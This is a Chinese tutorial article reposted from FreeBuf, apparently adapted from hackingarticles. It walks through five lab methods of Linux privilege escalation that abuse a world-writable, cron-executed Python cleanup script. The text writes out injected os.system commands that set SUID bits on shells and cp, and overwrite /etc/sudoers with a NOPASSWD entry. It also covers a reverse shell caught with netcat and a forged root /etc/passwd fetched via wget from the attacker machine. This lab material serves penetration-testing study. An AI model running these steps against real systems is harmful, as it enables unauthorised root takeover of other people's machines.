专栏首页FreeBuf在Linux上通过可写文件获取root权限的多种方式

在Linux上通过可写文件获取root权限的多种方式

在Linux中,一切都可以看做文件,包括所有允许/禁止读写执行权限的目录和设备。当管理员为任何文件设置权限时,都应清楚并合理为每个Linux用户分配应有的读写执行权限。在本文中我将为大家展示,如何利用Linux中具有写入权限的文件/脚本来进行提权操作。想要了解更多关于Linux系统权限的内容,可以阅读这篇文章。好了,话不多说。下面就进入我们的正题吧!

首先,我们来启动我们的攻击机并渗透进目标系统直至提权阶段。这里假设我通过ssh成功登录到了受害者机器,并访问了非root用户的终端。通过以下命令,我们可以枚举所有具有可写权限的二进制文件。

find / -writable -type  f 2>/dev/null | grep -v "/proc/"

可以看到在/lib/log路径下有一个python文件,我们进入到该目录并查看该文件的权限为777

通过cat命令查看该文件内容,这是管理员添加的一个用来清除 /tmp中的所有垃圾文件的脚本,具体执行取决于管理员设置的定时间隔。获取了这些信息后,攻击者可以通过以下方式来执行提权操作。

方法1

我们复制了/bin/sh到/tmp下并为/tmp/sh启用了SUID。使用编辑器打开sanitizer.py并将“rm -r /tmp/*”中的内容替换为以下两行:

os.system('cp /bin/sh /tmp/sh')
os.system('chmod u+s /tmp/sh')

一段时间后,它将在/tmp目录内创建一个具有SUID权限的sh文件,当你运行它时,你将会获取root访问权限。

cd /tmp
ls
./sh
id
whoami

下图可以说明一切!

方法2

同样,你也可以将“rm -r /tmp/*”替换为以下内容:

os.system(‘chmod u+s /bin/dash)

一段时间后,它将为/bin/dash设置SUID权限,并且在运行时会给予root访问权限。

/bin/dash
id
whoami

如下图所示:

方法3

在这种方法中,我们在rm -r /tmp/*的位置粘贴了python反向shell连接代码,并在新的终端中启动了netcat侦听。

如上所述,经过一段时间后,我们通过netcat获取了具有root访问权限的反向shell。

nc -lvp 1234
id
whoami

如下图所示:

方法4

这个方法挺有意思的,在下图中大家可以看到我当前的用户是没有执行sudo命令的权限的。那我们就想办法让自己成为suoders文件成员。

同样,我们将“rm -r /tmp/*”替换为以下内容:

os.system('echo "wernerbrandes ALL=(ALL) NOPASSWD: ALL" > /etc/sudoers')

过一段时间后,当你输入“sudo -l”命令时,你会注意到,它已成为了sudo用户的成员。此时我们只要输入“sudo bash”就可以获取root访问权限。

sudo -l
sudo bash
id

方法5

我们知道passwd在任何类linux的系统中都扮演着非常重要的角色,一旦攻击者有机会可以修改此文件,那么它将会成为一种特权提升的动态方式。

同样,我们也不会忽视这一点,使用cat命令读取etc/passwd文件。

在这里你可以观察到用户名为nemo记录的高亮条目,根据我的猜测UID:1000 & GID:1000表示它应该是管理员组的成员。

但我们的目标是通过编辑nemo记录,使其成为root组的成员。因此,我们选择并复制etc/passwd文件内的所有记录,然后将它粘贴到一个空的文本文件中。

然后在一个新的终端中使用openssl生成一个加盐密码并复制。

openssl passwd -1 -salt abc 123

现在将上面复制的加盐密码粘贴至用户nemo记录条目中的“X”处,并且将UID&GID更改为0,如图所示。操作完成后,将文本文件保存为“passwd”,将该文件传输至目标系统,它将覆盖原始passwd文件的内容。

cd Desktop
python -m SimpleHTTPServer 80

同样,将“rm -r /tmp/*”替换为以下内容:

os.system(‘chmod u+s /bin/cp)

一段时间后,它会启用/bin/cp的SUID位以复制任意文件。

现在将被你修改过的passwd文件下载至目标系统的/tmp目录中。让我们来检查一下/bin/cp是否启用了SUID位,然后使用cp命令将修改的passwd文件复制到/etc/passwd中,这将覆盖原始passwd文件的内容。

cd /tmp
wget http://192.168.1.103/passwd
ls -al /bin/cp
cp passwd /etc/passwd

现在,我们键入以下命令查看修改内容是否已在passwd文件中生效。

tail /etc/passwd

可以看到修改内容已成功写入!

执行以下命令获取root访问权限:

su nemo
password 123
whoami

*参考来源:hackingarticles,FB小编 secist 编译,转载请注明来自FreeBuf.COM

本文分享自微信公众号 - FreeBuf(freebuf)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2018-06-17

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 为什么我要在2018年学习Python?

    从网页编程到时髦的人工智能,机器学习,这个享有"瑞士军刀(万能工具)"盛誉的Python语言, 你学会了吗?

    顶级程序员
  • Python 工匠:善用变量来改善代码质量

    我一直觉得编程某种意义上是一门『手艺』,因为优雅而高效的代码,就如同完美的手工艺品一样让人赏心悦目。

    顶级程序员
  • 全面深入理解Python面向对象编程

    面向过程编程最易被初学者接受,其往往用一长段代码来实现指定功能,开发过程中最常见的操作就是粘贴复制,即:将之前实现的代码块复制到现需功能处。

    顶级程序员
  • 无需深度学习框架,如何从零开始用Python构建神经网络

    这是一份用于理解深度学习内部运作方式的初学者指南。作者根据自己从零开始学习用 Python 构建神经网络的经验,编写了一份攻略。内容涵盖神经网络定义、损失函数、...

    朱晓霞
  • Python告诉你:知乎上有哪些收入百万的Live

    爬取了知乎上所有的Live数据。从Live开播到现在一共是五千多场。分析这些Live的时候,发现很多很有趣的东西,比如有些Live特别长,可以长达数个小时,有些...

    顶级程序员
  • Python 工匠:编写条件分支代码的技巧

    我一直觉得编程某种意义上是一门『手艺』,因为优雅而高效的代码,就如同完美的手工艺品一样让人赏心悦目。

    顶级程序员
  • 相较其他语言,Python到底好在哪儿?

    就个人发展而言,选择学习的技术与要就读的大学可谓同等重要。如果决定做错了,那往往会收到一堆麻烦,而不是想要的高薪工作。我想,现在你点开这篇文章,就代表你已考虑选...

    顶级程序员
  • 干货 | 1400篇机器学习的文章中,这10篇是最棒的!

    【导读】在过去的一个月中, 作者从近 1400 篇有关机器学习的文章中挑选了最有可能帮助职业生涯发展的 10 篇推荐给大家(入选比率为0.7%)。

    用户1737318
  • Python与人工智能的关系原来是这样的...

    人工智能掀起了世界的新一波科技浪潮,如今,你要是不懂点AI、机器学习和python都不好意思说你是现代人,那么python究竟和人工智能什么关系,为什么人工智能...

    顶级程序员
  • 技术 | 机器学习中Python库的3个简单实践——你的图片将由你来创造

    【导读】今天为大家介绍机器学习、深度学习中一些优秀、有意思的 Python 库,以及这些库的 Code 实践教程。涉及到的理论与学术内容会附上相应的论文与博客,...

    用户1737318

扫码关注云+社区

领取腾讯云代金券